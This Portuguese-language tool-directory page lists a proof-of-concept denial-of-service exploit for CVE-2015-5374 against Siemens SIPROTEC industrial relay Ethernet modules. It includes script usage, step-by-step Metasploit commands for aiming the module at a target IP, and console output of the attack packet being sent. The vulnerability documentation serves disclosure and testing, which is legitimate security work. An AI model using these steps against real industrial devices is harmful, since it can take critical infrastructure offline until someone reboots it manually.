Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2015-5374-DoS-PoC — Exploit de DoS para CVE-2015-5374 direcionado aos módulos Ethernet Siemens SIPROTEC 4 e Compact EN100 através de um pacote UDP malicioso para a porta 50000, com um módulo auxiliar Metasploit incluído. | Kitploit
Ferramentas/GitHubGitHub/can/cve-2015-5374-dos-poc
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoSegurança SCADA/ICSTestes de Penetração
GitHubcan/cve-2015-5374-dos-poc

CVE-2015-5374-DoS-PoC

Exploit de DoS para CVE-2015-5374 direcionado aos módulos Ethernet Siemens SIPROTEC 4 e Compact EN100 através de um pacote UDP malicioso para a porta 50000, com um módulo auxiliar Metasploit incluído.

Ver Repositório
3322há 8 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2015-5374 Siemens SIPROTEC 4 e SIPROTEC Compact EN100 Ethernet Module < V4.25 - Negação de Serviço

Este código envia um pacote especialmente elaborado para a Porta 50000/UDP que pode causar uma negação de serviço no dispositivo afetado. Uma reinicialização manual é necessária para restaurar o dispositivo ao serviço. CVE-2015-5374 e uma pontuação base CVSS v2 de 7,8 foram atribuídas a esta vulnerabilidade.

can@exploit:~/siprotec_dos_poc$ python Siemens_SIPROTEC_DoS.py <target>
CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
Sending packet to <target> ...
Done, say goodbye!

Módulo Metasploit

Este módulo envia um pacote especialmente elaborado para a Porta 50000/UDP que pode causar uma negação de serviço no dispositivo afetado. Uma reinicialização manual é necessária para restaurar o dispositivo ao serviço.

Etapas de Verificação

  1. Faça: use auxiliary/dos/scada/siemens_siprotec4
  2. Faça: set RHOST [Target IP], substituindo [Target IP] pelo endereço IP que deseja atacar.
  3. Faça: run
  4. Se o dispositivo Siemens SIPROTEC 4 ou Compact tiver uma das versões vulneráveis, ele será imediatamente interrompido.

Opções

set RHOST [Target IP], set RPORT [Target Port (Default 50000)].

Cenários

msf auxiliary(siemens_siprotec4) > info

     Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service 
   Module: auxiliary/dos/scada/siemens_siprotec4
  License: Metasploit Framework License (BSD)
     Rank: Normal

Provided by:
M. Can Kurnaz

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
RHOST                   yes       The target address
RPORT  50000            yes       The target port (UDP)

Description:
This module sends a specially crafted packet to port 50000/UDP 
causing a denial of service of the affected (Siemens SIPROTEC 4 and 
SIPROTEC Compact) devices. A manual reboot is required to return the 
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8 
have been assigned to this vulnerability.

References:
https://www.exploit-db.com/exploits/44103/
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

msf auxiliary(siemens_siprotec4) > show options 

Module options (auxiliary/dos/scada/siemens_siprotec4):

 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 RHOST                   yes       The target address
 RPORT  50000            yes       The target port (UDP)

msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run

[*] Sending DoS packet ... 
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >
Baixar ferramenta